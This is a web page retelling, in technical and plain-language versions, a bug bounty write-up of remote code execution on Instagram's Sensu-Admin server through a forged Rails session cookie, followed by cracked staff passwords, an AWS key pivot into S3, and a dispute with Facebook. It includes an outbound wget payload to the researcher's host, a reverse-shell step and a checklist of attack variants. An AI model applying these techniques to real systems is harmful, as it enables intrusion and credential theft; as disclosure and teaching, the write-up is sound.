Instagram’s Million Dollar Bug
Published on exfiltrated.com
In 2012, Bloomberg published a somewhat famous (at least to bug bounty participants) article on Facebook's "Whitehat" bug bounty program. In this article, Facebook is quoted as saying: "If there's a million-dollar bug, we will pay it out".
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Instagram ran a Sensu monitoring setup, and one of its components was an internet-facing web interface at https://sensu.instagram.com. The application behind it was Sensu-Admin, a Ruby on Rails management front end for Sensu, published on GitHub as sensu/sensu-admin. It is the kind of panel an operations team uses to look at monitoring configuration and the accounts that administer it.
The write-up covers findings submitted to Facebook's Whitehat bug bounty program: the RCE and the weak accounts as two reports, and the S3 exposure as a third. The first is remote code execution on the Sensu host through a Rails session cookie. The second is a set of weak employee passwords in the application's database. The third is a chain of AWS credentials that ended in read access to Instagram's S3 buckets.
Setup
The researcher worked from his own machine, with a local Rails instance configured to develop and test the deserialisation payload before sending anything to the target. The tools involved were a browser, a local Rails install, John the Ripper (JtR) for password cracking, an S3 client, and a listening socket on a server he controlled at exfiltrated.com.
The precondition for the whole chain was that sensu.instagram.com was reachable from the internet. That exposure had already been reported to Facebook by another researcher as an "open admin panel", together with a suspicion that the app was vulnerable to a Ruby password reset flaw. The researcher was given permission to look further on the condition that the original issue stayed private.
Finding it
The starting point was a tip on IRC. The suspected password reset weakness did not reproduce: the login page did not accept 0 as a password, and it was not clear what format a reset email would take. Searching for the application led to Sensu-Admin on GitHub, and that repository contained something more useful than a reset bug: a hardcoded Rails secret token in config/initializers/secret_token.rb.
A hardcoded secret token matters because Rails signs its session cookies with it. If Instagram had left the token unchanged, session cookies could be forged. The Phrack article on attacking Ruby on Rails referenced in the report goes further: Rails deserializes session cookies, so a forged cookie can carry a serialised object that leads to code execution.
Exploitation
Step 1: build and test the payload locally
The researcher first configured a local Rails instance and used the examples in charliesome's write-up of Rails 3.2.10 remote code execution as a framework. He created an object, ran it through Marshal.load, and confirmed that the embedded command executed locally.
Step 2: sign the object as a Sensu-Admin cookie
The same object was then signed with the secret key taken from Sensu-Admin, and the signature and payload were combined into a cookie. The example cookie from the report is:
_sensu-admin_session=[redacted]--[redacted]
The payload inside that cookie is wget http://exfiltrated.com/test-instagram. The base64 blob is the marshalled object, and the hex string after the double dash is the signature computed with the secret token.
Step 3: send the cookie and confirm execution
The cookie was sent to the server. The server deserialised it, matched the signature, and ran the payload: the sensu.instagram.com host reached out and retrieved the URL from the researcher's server. That confirmed a reliable RCE.
Step 4: get an interactive shell
With RCE confirmed, the researcher set up a listening socket and instructed a remote shell to be launched. The result is shown in the screenshot below.

Step 5: read the database credentials and dump users
The web interface was public, so the next area to look at was the accounts that could log in to it. Sensu-Admin can use various database configurations, and the Instagram instance used a local Postgres database. Through the RCE it was simple to read the configuration file and recover the database credentials. The researcher connected and dumped the users table: approximately 60 accounts, a mix of Instagram and Facebook employees.
All passwords were bcrypt hashed. His machine cracks bcrypt at around 250 attempts per second, which is very slow, but he loaded the hashes into JtR anyway. Passwords came back almost immediately. In a few minutes he had recovered 12 passwords, all extremely weak:
| Count | Password |
|---|---|
| 6 | changeme |
| 3 | the same as the user's name |
| 2 | password |
| 1 | instagram |
He picked one of the accounts and confirmed it worked by logging in to the web interface.

Because the Whitehat rules ask researchers to avoid anything that could cause downtime, he did not change anything or explore the interface in detail. The weak accounts were written up and submitted as a separate vulnerability.
Step 6: read the Sensu configuration file
While looking for configuration weaknesses on the host, he read /etc/sensu/config.json. Besides the database credentials, it contained an email account, a set of Pagerduty keys, and an AWS key pair embedded in the command that starts the autoscale process. He held off on the Pagerduty keys, and turned to the AWS key.
Step 7: enumerate S3 with the first key
The first key pair listed 82 S3 buckets. Sampling them showed that access to all of them was blocked: the bucket names were visible, but contents could not be listed or read. The exception was the first bucket, autoscale-kitchen.
That bucket held an autoscale-kitchen-latest.tar.gz plus around a hundred past revisions. The latest archive contained deployment scripts for installing services, and nothing obviously sensitive. An older revision of the file was similar but also included a Vagrant config file, which contained a second AWS key pair.
Step 8: read every bucket with the second key
With the S3 client configured to use the new key pair, the same 82 buckets were visible, but this time the contents of every single bucket could be read. He queued several buckets for download and went to bed.
The next day he went through the downloads and the remaining buckets. Several buckets stored users' Instagram images, before and after processing. Because the Whitehat rules require a good faith effort to avoid privacy violations, he did not download anything from those buckets. The rest were extremely valuable. Using one AWS key pair, spread across multiple buckets, the following was available:
- Static content for Instagram.com websites. Write access was not tested but seemed likely.
- Source code for fairly recent versions of the Instagram server backend, covering all API endpoints and some image processing libraries.
- SSL certificates and private keys, including
instagram.comand*.instagram.com. - Secret keys used to sign authentication cookies for Instagram.
- OAuth and other Instagram API keys.
- Email server credentials.
- iOS and Android app signing keys.
- iOS Push Notifications keys.
- Twitter API keys.
- Facebook API keys.
- Flickr API keys.
- Tumblr API keys.
- Foursquare API keys.
- Recaptcha key pair.
With that material he could impersonate Instagram, or any valid user or staff member. He notes that full access to any user's account, private pictures and data would have been easy, though that was out of scope, and that it is unclear how easily the information could have been used to compromise the underlying servers.
The third submission listed seven issues that together determined how much data was reachable:
- AWS credentials accessible to an unprivileged user on the Sensu system.
- An AWS bucket containing credentials for other buckets, specifically
autoscale-kitchen. A classic privilege escalation weakness. - No access segregation on AWS credentials: one set of keys reached all S3 buckets.
- Secret keys stored throughout S3 buckets, made worse by buckets that keep every previous application version even when the latest no longer contains the keys. The keys do not appear to be separated so that one application can only reach its own keys, but are spread across multiple buckets.
- Files in some buckets encrypted with passwords stored in the same bucket, or reachable with the same AWS key.
- AWS keys usable from any remote IP.
- If audit logging takes place, it is not monitored: none of the access was detected as far as he is aware.
The chain in one picture
The researcher drew the steps taken to compromise Instagram's systems.

Root cause
The RCE rests on two mistakes. The Sensu-Admin application ships a hardcoded Rails secret_token, and the host ran a Rails 3.x version that executes code through deserialisation of the session cookie. The second only works if a valid signature can be generated for the malicious cookie, which the reused token made possible. The report says the server matched the signature properly, so the token from the repository was in use.
The weak passwords are a straightforward operational failure: bcrypt is a sound choice, but it cannot protect changeme, a username, password or instagram.
The S3 exposure is a design failure rather than a coding bug. The AWS key pair in /etc/sensu/config.json was readable by the web server and could read a bucket that held a second key pair, and that second pair had access to all the important buckets. There was no segregation between applications, no restriction on where keys could be used from, and no monitoring that caught the access. As the researcher puts it, the pivot from one server to the company's S3 buckets involved no technical vulnerability at all, which is exactly what defence in depth is meant to prevent.
Impact
On the Sensu host, the RCE was enough to read configuration files, recover database credentials and dump the user table. The weak passwords then allowed login to the admin interface as an employee, though the researcher deliberately did not change anything there.
With the second AWS key pair, an attacker could read the contents of every bucket, though the researcher avoided the user image buckets; the rest included source code, TLS private keys, cookie signing secrets, mobile app signing keys, push notification keys and API keys for several services. The researcher states that this would have allowed impersonation of Instagram and of any user or staff member, and full access to user accounts and private data, though he avoided the user image buckets and did not test write access. Whether the material could have been used to compromise the underlying servers is left open.
Fix
The report does not describe any remediation performed by Facebook or Instagram. The changes implied by the findings are: replace the hardcoded Rails secret token with a unique per-deployment value, upgrade off the Rails version that deserializes session cookies into code execution, enforce strong passwords on administrative accounts, remove AWS credentials from files readable by the web server, segregate AWS keys so each application reaches only its own resources, restrict keys by source IP, and monitor S3 access so that bulk reads are detected.
Variants to test
- Hardcoded Rails secret tokens in open-source admin panels. Find the application behind a login page, check its repository for
secret_token.rbor similar initializers, and forge a signed session cookie. A positive result is the server accepting the cookie and acting on the deserialised object. - Rails cookie deserialisation on any Rails 3.x host. Build a marshalled object locally, confirm it executes through
Marshal.load, sign it with the candidate secret, and send it. A positive result is an outbound request from the target to a host you control. - Credentials in application configuration files. After any file read or RCE, check
/etc/sensu/config.jsonand similar paths for database, email, Pagerduty and cloud keys. A positive result is a key that authenticates to a cloud API. - S3 key scope. With any recovered AWS key, list buckets and try reading each one. A positive result is a key that sees many buckets, or a bucket whose contents include further credentials, as with
autoscale-kitchen. - Old revisions in deployment buckets. Download older versions of deployment archives, not just the latest. A positive result is a config file in an old revision containing secrets that were removed from the current one.
- bcrypt against weak administrative passwords. Dump the user table and run a wordlist and username-based rules against the hashes. A positive result is any recovered password, especially defaults such as
changemeorpassword.
Timeline
The report closes with a timeline of the disclosure and the interactions with Facebook.

Aftermath
The report includes the full support transcript. Facebook's first reply thanked him and said the report was being sent to the product team. The reply to the weak accounts submission warned that taking additional action after locating a bug violates the bounty policy. The researcher asked where in the policy that is written, and gave examples: tunnelling through an SSRF to internal servers, or validating credentials found in a CMS configuration file. Facebook replied that researchers should report a vulnerability as soon as they find it, that escalating access is discouraged because it may make a report ineligible, and that severity is assessed on potential use rather than what the researcher demonstrated. The case was later closed without a bounty, with Facebook stating that the submission violated expectations of preserving user privacy. The researcher was told the decision to publish was his, that Facebook neither explicitly prevented nor permitted it.
After the third submission, the researcher's manager and CEO were contacted by Facebook's CSO. According to the researcher, the call described the vulnerability as trivial, said the handling had caused concern, and raised the possibility of legal involvement and law enforcement. The demands were to confirm nothing had been published, delete all retrieved data, confirm no user data had been accessed, and agree to keep everything private. The researcher states he had confirmed with legal counsel that his actions were lawful and within the Whitehat requirements.
The updates record that a payment of $2,500 was in fact sent on 11 December using payment details from earlier Facebook bounties, and that the notification had been buried in a Gmail updates folder. They also clarify that no threats or demands for compensation were made before or during the final submission, that his only request was to publish after Facebook had addressed the findings, that he questioned why the RCE was valued at $2,500 when others had been paid significantly more, that he never used his work email until replying to the CSO's message to his employer, and that he halted all access to Instagram infrastructure as soon as the 28 October reply indicated a scope disagreement.

What happened, in plain words
A security researcher found a way into Instagram's internal systems. He did not break any encryption or guess a clever trick. He found a web page that was open to the whole internet, and behind it a chain of small mistakes that led from one server to the company's cloud storage, where a large amount of secret material was kept.
This article walks through the whole story slowly, for someone who has never done security work. Every technical word is explained the first time it appears, and there is a glossary at the end. The story has three parts:
- He got a server to run commands of his choosing, which is called remote code execution, or RCE.
- He found that around 60 employee accounts existed on that server, and that 12 of their passwords were so weak he could guess them in minutes.
- Using a key he found on that server, he reached Instagram's cloud storage and could read almost everything in it: source code, certificates, and keys for signing in users.
He reported all of this through Facebook's bug bounty programme. A bug bounty programme is a scheme where a company pays people outside the company to report security problems instead of exploiting them. The story then turns into an argument about the rules, and ends with a phone call to the researcher's employer.
Background: what Instagram was running
Instagram is a photo sharing service owned by Facebook. To keep its many computers healthy, its operations team used a piece of software called Sensu. Sensu watches other computers and raises alerts when something goes wrong, a bit like a building's fire alarm panel.
Sensu has a companion web application called Sensu-Admin. It is a management screen, a web page where an administrator can look at the monitoring setup and at the accounts that run it. The application is written in Ruby on Rails. Ruby is a programming language, and Rails is a popular toolkit for building websites with it. The source code of Sensu-Admin is published openly on GitHub, a website where programmers share code.
The Sensu-Admin screen for Instagram was reachable at https://sensu.instagram.com. The https:// part means the connection is encrypted, and the name is the address of the server, like a street address for a computer. The important point is that this address answered anyone on the internet, not just Instagram employees on the company network.
Another researcher had already noticed that and reported it to Facebook as an "open admin panel", meaning a management screen anyone could reach. He also suspected the application had a flaw in how it resets forgotten passwords, though he had not managed to reproduce it. He gave the researcher permission to look further, on the condition that the original report stayed private.
How the researcher got started
The researcher heard about the server through a tip on IRC. IRC is an old chat system that many technical communities still use, a bit like a group chat room. A friend of a friend had been testing Instagram as part of Facebook's bug bounty programme and mentioned the server.
The researcher had done a little testing for Facebook's programme the year before, and his employer allowed him to take part in bug bounties in his own time. So he decided to look.
Trying the password reset idea first
He began with the suspicion the other researcher had passed on: a weakness in the password reset feature. A password reset feature is the "forgot my password" button on a login page. It usually sends an email with a special link that lets you set a new password. If that link can be guessed or forged, an attacker can take over an account without knowing the old password.
His first tests did not work. The normal login page did not accept 0 as a password, and he could not tell what a reset email would look like, so he had nothing to imitate. The suspected flaw did not seem to apply.
Finding the application's source code
He did not recognise the application, but it looked like a standard Sensu management tool. So he searched Google for it and found Sensu-Admin on GitHub. Reading the public source code of an application is a normal and powerful research technique: the code shows how the application works, including things the running website never displays.
That search led to something better than a password reset bug. In the repository, the file config/initializers/secret_token.rb contained a Rails secret token written directly into the code. A secret token, in this context, is a long random string that Rails uses to sign its session cookies.
Two ideas need explaining here.
A cookie is a small piece of text that a website asks your browser to store and send back with every request. It is how a website remembers who you are between page loads, because the web itself has no memory. When you log in, the site puts a cookie in your browser saying, in effect, "this is user X".
A signature is a short code computed from the cookie's contents plus a secret key. The server can recompute it and check that the cookie was issued by the server and not edited by someone else. It works like a wax seal on an envelope: anyone can see the letter, but only the holder of the seal can make a valid seal. If an attacker learns the secret key, they can produce valid seals themselves, and the server will trust whatever they put inside.
So a hardcoded secret token in a public repository is dangerous: if Instagram had left the token unchanged on its own server, anyone reading GitHub could forge cookies that the server would accept.
The report also refers to a Phrack article about attacking Ruby on Rails. Phrack is a long-running online magazine about security. The article explains that forging a cookie is not the only risk. Rails stores session data by serialising it: it turns a Ruby object into a stream of bytes, and later turns those bytes back into an object. That reverse step is called deserialisation. If an attacker can supply the bytes, they may be able to make the server build an object that does something harmful when it is rebuilt, such as running a command. That is the path to remote code execution.
Building and testing the attack locally
Testing a deserialisation attack directly against a live server is risky and hard to debug. So the researcher first set up a Rails installation on his own computer, where he could experiment safely. He used a public write-up about Rails 3.2.10 remote code execution as a guide:
https://github.com/charliesome/charlie.bz/blob/master/posts/rails-3.2.10-remote-code-execution.md
That link is a tutorial by another researcher describing how the technique works. He created an object, ran it through Marshal.load, and confirmed that the command he had embedded was executed on his own machine. Marshal.load is a Ruby function that takes a stream of bytes and turns it back into a live object. Running it on his own machine first meant he knew the payload worked before pointing it at anyone else.
Signing the object as a cookie
Next he took the same object and signed it with the secret key from Sensu-Admin. The signature and the payload were combined into a cookie. The example cookie from the report is:
_sensu-admin_session=[redacted]--[redacted]
Line by line, in plain words:
_sensu-admin_session=is the name of the cookie. The application chose this name, and the browser sends it back under this name.- The long string of letters and digits after the equals sign is the payload, encoded in base64. Base64 is a way of writing arbitrary bytes using only ordinary text characters, so they can travel safely inside a cookie. Decoded, it is the serialised Ruby object.
- The two dashes
--separate the payload from the signature. [redacted]is the signature, computed with the secret token. Without the correct secret, an attacker cannot produce a signature the server will accept.
The command hidden inside that cookie is wget http://exfiltrated.com/test-instagram. wget is a small program that downloads a file from a web address. So the payload, if it ran, would make the Instagram server fetch a file from a server the researcher controlled at exfiltrated.com. That is a safe way to prove code execution: the proof is the request arriving at his own server, not any damage on the target.
Sending the cookie and confirming it worked
He sent the crafted cookie to the server. The server deserialised it, checked the signature, found it matched, and ran the payload. The sensu.instagram.com server reached out and downloaded the file from his server. That confirmed a reliable RCE.
Getting an interactive shell
A single command is a proof, but it is clumsy to work with. So he set up a listening socket on his own server and instructed a remote shell to be launched. A listening socket is a program waiting for an incoming connection on a network port, like a phone waiting for a call. A shell is a text interface where you type commands and the computer runs them. Together they give an interactive session: he could type commands and see the output, as if he were sitting at the machine.

The screenshot shows the result of launching the remote shell.
He then wrote up the vulnerability and submitted it to Facebook. In the write-up he noted that there were really two separate problems:
- The Sensu-Admin application contains a hardcoded Rails secret token.
- The host
sensu.instagram.comruns Rails 3.x, a version that allows code execution through the session cookie, provided a valid signature can be generated for the malicious cookie.
Checking the rules before going further
Finding an RCE is not rare, but he wanted to be sure he was still within the bounty programme's rules, because every programme has its own terms. Facebook's rules, at https://www.facebook.com/whitehat, said researchers should avoid anything that might cause downtime, and that Facebook was interested in vulnerabilities that would "enable access to a system within our infrastructure". That suggested he was still in the clear.
Reading the database and cracking passwords
He had code execution, but he had not yet logged in to the web interface as a normal user. Since the interface was public, the next obvious weakness was the accounts that could log in to it.
Sensu-Admin can be configured to use various databases. A database is an organised store of data, here the list of user accounts. Instagram's instance used a local Postgres database. Postgres is a popular database program. With the RCE it was simple to read the application's configuration file, which holds the database username and password, and connect to the database. He then dumped the users table: the list of accounts. It contained approximately 60 accounts, a mix of Instagram and Facebook employees.
All the passwords were stored as bcrypt hashes. A hash is the result of running a password through a one-way mathematical function: you can turn a password into a hash easily, but you cannot turn the hash back into the password. Websites store hashes so that a stolen database does not directly reveal passwords. bcrypt is a deliberately slow hashing function, designed so that guessing many passwords is expensive. His machine could try around 250 guesses per second against bcrypt, which is very slow compared with ordinary hashes.
Even so, he loaded the hashes into John the Ripper, usually shortened to JtR. That is a password cracking program: it takes a list of candidate passwords, hashes each one, and checks whether the result matches a stored hash. If it matches, the password has been found. Passwords came back almost immediately. In a few minutes he had recovered 12 of them, all extremely weak:
| Count | Password |
|---|---|
| 6 | changeme |
| 3 | the same as the user's name |
| 2 | password |
| 1 | instagram |
This is why bcrypt alone is not enough. A slow hash makes guessing expensive, but a password that appears in every attacker's first list of guesses is found instantly regardless of the hash. changeme is a placeholder people are supposed to replace, and password is the most commonly guessed password there is.
He picked one of the accounts and confirmed it worked by logging in to the web interface.

A screenshot of the successful login can be seen below.
Because the Whitehat rules ask researchers to avoid anything that could cause downtime, he did not change anything or explore the interface in detail. He wrote up the weak accounts and submitted them as a separate vulnerability.
Asking about moving to other systems
In his first submission, the RCE, he asked whether he should try to reach further internal systems. The Sensu server ran in EC2, Amazon's cloud computing service, where companies rent virtual servers by the hour. Instead of asking a central name server where other machines were, the server had a list of over 1,400 systems written directly into a file called /etc/hosts. That file maps names to network addresses on a computer. A list that long suggested many possible places to go next.
He was curious how Facebook would react. Many bounty programmes tell researchers that moving from one system to another should not be possible, and either say not to bother or say they would be very interested if it were. In this case, after a few days, Facebook simply blocked internet access to sensu.instagram.com entirely, and never answered whether he should have gone after internal systems. Whether he could have reached more important systems remains unknown.
Reading the Sensu configuration file
While looking for configuration weaknesses on the server, he read /etc/sensu/config.json. A JSON file is a plain text format for structured settings, easy for both people and programs to read. This one held the database credentials described above, and also an email account, a set of Pagerduty keys, and an AWS key pair.
Pagerduty is a service that sends alerts to on-call staff when something breaks. He considered sending fake alerts saying servers were on fire, or that armed monkeys had taken over the data centre, but decided it would be funny and hard to justify, so he left those alone.
AWS stands for Amazon Web Services, Amazon's collection of cloud services. An AWS key pair is a pair of long strings, an identifier and a secret, that act like a username and password for Amazon's programming interface. With them, a program can create servers, read storage and so on, without a human logging in to a web page. The key pair in this file was part of the command that starts the autoscale process, which is software that adds or removes servers automatically as load changes.
Looking at S3 with the first key
He started with S3. S3 is Amazon's storage service: you create containers called buckets, and put files, called objects, inside them. It is like a set of online folders.
The first key pair listed 82 buckets. He sampled them and found that access to all of them was blocked: he could see the bucket names, but could not list or read the contents. The exception was the very first bucket, named autoscale-kitchen.
That bucket held a file called autoscale-kitchen-latest.tar.gz plus around a hundred past revisions. A .tar.gz file is an archive: a single file containing many files, compressed to save space, like a zip file. The latest archive contained deployment scripts for installing various services. A deployment script is a set of instructions a computer follows to install and configure software. Nothing in it seemed overly sensitive.
He then downloaded a much older revision of the same file. Its contents were similar, but it also included a Vagrant config file. Vagrant is a tool for creating reproducible development environments, and its config file holds settings for that. This one contained a bunch of additional settings and, most importantly, a second AWS key pair.
Reading every bucket with the second key
He configured his S3 client to use the new key pair. An S3 client is a program that talks to S3 on your behalf, the equivalent of a browser for storage. The same 82 buckets were visible, but this time he could read the contents of every single one.
He queued several buckets for download and went to bed. The next day he went through the downloads and the remaining buckets.
Several buckets stored users' Instagram images, both before and after processing. Because the Whitehat rules require a good faith effort to avoid privacy violations, he did not download anything from those buckets. The rest were extremely valuable. Using one AWS key pair, spread across multiple buckets, the following was available:
- Static content for Instagram.com websites. Static content means files served as-is, such as images and style sheets. Write access was not tested but seemed likely.
- Source code for fairly recent versions of the Instagram server backend, covering all API endpoints and some image processing libraries. An API endpoint is a specific address a program can send a request to, for example to fetch a user's photos. The backend is the part of the service that runs on the servers, as opposed to the app on your phone.
- SSL certificates and private keys, including
instagram.comand*.instagram.com. An SSL certificate is the digital document that proves a website is genuine and enables the encryptedhttps://connection. Its private key is the secret half that must never be shared; with it, someone can impersonate the site. - Secret keys used to sign authentication cookies for Instagram. These are the same kind of signing secrets described earlier, but for Instagram's own login system.
- OAuth and other Instagram API keys. OAuth is a standard way for one application to ask another for permission to act on a user's behalf, without sharing the user's password.
- Email server credentials.
- iOS and Android app signing keys. Mobile operating systems require apps to be signed, so that phones can verify an update really comes from the original developer.
- iOS Push Notifications keys. Push notifications are the messages an app sends to your phone even when it is closed; the key lets a server send them.
- Twitter API keys.
- Facebook API keys.
- Flickr API keys.
- Tumblr API keys.
- Foursquare API keys.
- Recaptcha key pair. Recaptcha is the puzzle that asks you to prove you are not a robot.
With that material he could impersonate Instagram, or any valid user or staff member. He notes that full access to any user's account, private pictures and data would have been easy, though that was out of scope, and that it is unclear how easily the information could have been used to compromise the underlying servers.
The third submission listed seven issues that together determined how much data was reachable:
- AWS credentials accessible to an unprivileged user on the Sensu system. Unprivileged means an ordinary account, not an administrator.
- An AWS bucket containing credentials for other buckets, specifically
autoscale-kitchen. This is a classic privilege escalation weakness: privilege escalation means using a small amount of access to obtain more. - No access segregation on AWS credentials: one set of keys reached all S3 buckets. Segregation means giving each application only the keys it needs.
- Secret keys stored throughout S3 buckets, made worse by buckets that keep every previous application version even when the latest no longer contains the keys. The keys do not appear to be separated so that one application can only reach its own keys, but are spread across multiple buckets.
- Files in some buckets encrypted with passwords stored in the same bucket, or reachable with the same AWS key. Encryption scrambles data so only someone with the right password can read it, but it is useless if the password sits next to the data.
- AWS keys usable from any remote IP. An IP address identifies a computer on a network; restricting a key to known addresses limits where it can be used from.
- If audit logging takes place, it is not monitored: none of the access was detected as far as he is aware. Audit logging means keeping a record of who did what.
The chain in one picture
He drew the steps taken to compromise Instagram's systems.

The diagram shows the steps taken to compromise Instagram's systems.
Why it worked
The RCE rests on two mistakes. The Sensu-Admin application ships a hardcoded Rails secret_token, and the host ran a Rails 3.x version that executes code through deserialisation of the session cookie. The second only works if a valid signature can be generated for the malicious cookie, which the reused token made possible. The report does not say whether the token was identical to the one in the repository, only that the forged cookie was accepted.
The weak passwords are a straightforward operational failure: bcrypt is a sound choice, but it cannot protect changeme, a username, password or instagram.
The S3 exposure is a design failure rather than a coding bug. The AWS key pair in /etc/sensu/config.json was readable by the web server and could read a bucket that held a second key pair, and that second pair had access to all the important buckets. There was no segregation between applications, no restriction on where keys could be used from, and no monitoring that caught the access. As the researcher puts it, the pivot from one server to the company's S3 buckets involved no technical vulnerability at all, which is exactly what defence in depth is meant to prevent. Defence in depth means layering protections so that one failure does not expose everything.
What the impact was
On the Sensu host, the RCE was enough to read configuration files, recover database credentials and dump the user table. The weak passwords then allowed login to the admin interface as an employee, though the researcher deliberately did not change anything there.
With the second AWS key pair, an attacker could read the contents of every bucket, though the researcher avoided the user image buckets; the rest included source code, TLS private keys, cookie signing secrets, mobile app signing keys, push notification keys and API keys for several services. TLS is the modern name for the encryption behind https://. The researcher states that this would have allowed impersonation of Instagram and of any user or staff member, and full access to user accounts and private data, though he avoided the user image buckets and did not test write access. Whether the material could have been used to compromise the underlying servers is left open.
What the fix would be
The report does not describe any remediation performed by Facebook or Instagram. The changes implied by the findings are: replace the hardcoded Rails secret token with a unique per-deployment value, upgrade off the Rails version that deserialises session cookies into code execution, enforce strong passwords on administrative accounts, remove AWS credentials from files readable by the web server, segregate AWS keys so each application reaches only its own resources, restrict keys by source IP, and monitor S3 access so that bulk reads are detected.
Similar things to look for
- Hardcoded Rails secret tokens in open-source admin panels. Find the application behind a login page, check its repository for
secret_token.rbor similar initialisers, and forge a signed session cookie. A positive result is the server accepting the cookie and acting on the deserialised object. - Rails cookie deserialisation on any Rails 3.x host. Build a marshalled object locally, confirm it executes through
Marshal.load, sign it with the candidate secret, and send it. A positive result is an outbound request from the target to a host you control. - Credentials in application configuration files. After any file read or RCE, check
/etc/sensu/config.jsonand similar paths for database, email, Pagerduty and cloud keys. A positive result is a key that authenticates to a cloud API. - S3 key scope. With any recovered AWS key, list buckets and try reading each one. A positive result is a key that sees many buckets, or a bucket whose contents include further credentials, as with
autoscale-kitchen. - Old revisions in deployment buckets. Download older versions of deployment archives, not just the latest. A positive result is a config file in an old revision containing secrets that were removed from the current one.
- bcrypt against weak administrative passwords. Dump the user table and run a wordlist and username-based rules against the hashes. A positive result is any recovered password, especially defaults such as
changemeorpassword.
Timeline
The report closes with a timeline of the disclosure and the interactions with Facebook.

What happened afterwards
The report includes the full support transcript. Facebook's first reply thanked him and said the report was being sent to the product team. The reply to the weak accounts submission warned that taking additional action after locating a bug violates the bounty policy. The researcher asked where in the policy that is written, and gave examples: tunnelling through an SSRF to internal servers, or validating credentials found in a CMS configuration file. SSRF, server-side request forgery, is a flaw where an attacker makes a server send requests to places the attacker cannot reach directly. A CMS is a content management system, software for running a website's pages. Facebook replied that researchers should report a vulnerability as soon as they find it, that escalating access is discouraged because it may make a report ineligible, and that severity is assessed on potential use rather than what the researcher demonstrated. The case was later closed without a bounty, with Facebook stating that the submission violated expectations of preserving user privacy. The researcher was told the decision to publish was his, that Facebook neither explicitly prevented nor permitted it.
After the third submission, the researcher's manager and CEO were contacted by Facebook's CSO. CSO stands for Chief Security Officer, the most senior security role at a company. According to the researcher, the call described the vulnerability as trivial, said the handling had caused concern, and raised the possibility of legal involvement and law enforcement. The demands were to confirm nothing had been published, delete all retrieved data, confirm no user data had been accessed, and agree to keep everything private. The researcher states he had confirmed with legal counsel that his actions were lawful and within the Whitehat requirements.
The updates record that a payment of $2,500 was in fact sent on 11 December using payment details from earlier Facebook bounties, and that the notification had been buried in a Gmail updates folder. They also clarify that no threats or demands for compensation were made before or during the final submission, that his only request was to publish after Facebook had addressed the findings, that he questioned why the RCE was valued at $2,500 when others had been paid significantly more, that he never used his work email until replying to the CSO's message to his employer, and that he halted all access to Instagram infrastructure as soon as the 28 October reply indicated a scope disagreement.

The image at the top of the write-up relates to the 2012 Bloomberg article in which Facebook is quoted as saying: "If there's a million-dollar bug, we will pay it out". The researcher uses it to explain the title of his write-up.
Glossary
- API: an agreed way for one program to talk to another, usually a set of addresses and rules for requests and responses.
- API endpoint: one specific address in an API that performs one action, such as fetching a user's photos.
- Audit logging: keeping a record of who accessed what and when.
- AWS: Amazon Web Services, Amazon's collection of cloud computing services.
- AWS key pair: an identifier and a secret string that let a program use AWS services without a human logging in.
- Backend: the part of a service that runs on servers, as opposed to the app or website in front of the user.
- Base64: a way of writing arbitrary bytes using only ordinary text characters.
- bcrypt: a deliberately slow password hashing function, designed to make guessing expensive.
- Bucket: a container in Amazon S3 that holds files, called objects.
- Bug bounty programme: a scheme where a company pays outside researchers for reporting security problems.
- CMS: content management system, software for building and running a website's pages.
- Cookie: a small piece of text a website asks your browser to store and send back with each request, used to remember who you are.
- CSO: Chief Security Officer, the most senior security role at a company.
- Database: an organised store of data, here the list of user accounts.
- Defence in depth: layering protections so that one failure does not expose everything.
- Deployment script: a set of instructions a computer follows to install and configure software.
- Deserialisation: turning a stream of bytes back into a live object in a program; if the bytes are attacker-controlled, this can be dangerous.
- EC2: Amazon's service for renting virtual servers in the cloud.
- Encryption: scrambling data so that only someone with the right password can read it.
- Hash: the result of a one-way mathematical function applied to a password; easy to compute, hard to reverse.
/etc/hosts: a file on a computer that maps names to network addresses.- HTTPS: the encrypted version of the web protocol, shown by
https://in a web address. - IP address: a number that identifies a computer on a network.
- IRC: an old chat system still used by many technical communities.
- JSON: a plain text format for structured settings, readable by people and programs.
- JtR (John the Ripper): a password cracking program that tries candidate passwords against stored hashes.
- Listening socket: a program waiting for an incoming network connection on a port.
Marshal.load: a Ruby function that turns a stream of bytes back into a live object.- OAuth: a standard way for one application to act on a user's behalf without sharing the user's password.
- Pagerduty: a service that sends alerts to on-call staff when something breaks.
- Payload: the part of an attack that does the actual work, here the command hidden inside the cookie.
- Phrack: a long-running online magazine about security.
- Postgres: a popular database program.
- Privilege escalation: using a small amount of access to obtain more.
- Push notifications: messages an app sends to your phone even when it is closed.
- Rails: a popular toolkit for building websites with the Ruby programming language.
- RCE (remote code execution): making a remote computer run commands of your choosing.
- Recaptcha: the puzzle that asks you to prove you are not a robot.
- Ruby: a programming language, often used with Rails for websites.
- S3: Amazon's storage service, made of buckets holding objects.
- S3 client: a program that talks to S3 on your behalf.
- Segregation (of access): giving each application only the keys and permissions it needs.
- Sensu: monitoring software that watches computers and raises alerts.
- Sensu-Admin: a web management front end for Sensu, written in Ruby on Rails.
- Serialisation: turning a live object in a program into a stream of bytes that can be stored or sent.
- Shell: a text interface where you type commands and the computer runs them.
- Signature: a short code computed from data plus a secret key, used to prove the data was not edited.
- SSRF (server-side request forgery): a flaw where an attacker makes a server send requests to places the attacker cannot reach directly.
- SSL certificate: the digital document that proves a website is genuine and enables encrypted HTTPS.
- Static content: files served as-is, such as images and style sheets.
.tar.gz: an archive file containing many files, compressed to save space.- TLS: the modern name for the encryption behind HTTPS.
- Unprivileged: an ordinary account, not an administrator.
- Vagrant: a tool for creating reproducible development environments.
wget: a small program that downloads a file from a web address.- Whitehat: Facebook's name for its bug bounty programme and the researchers who take part.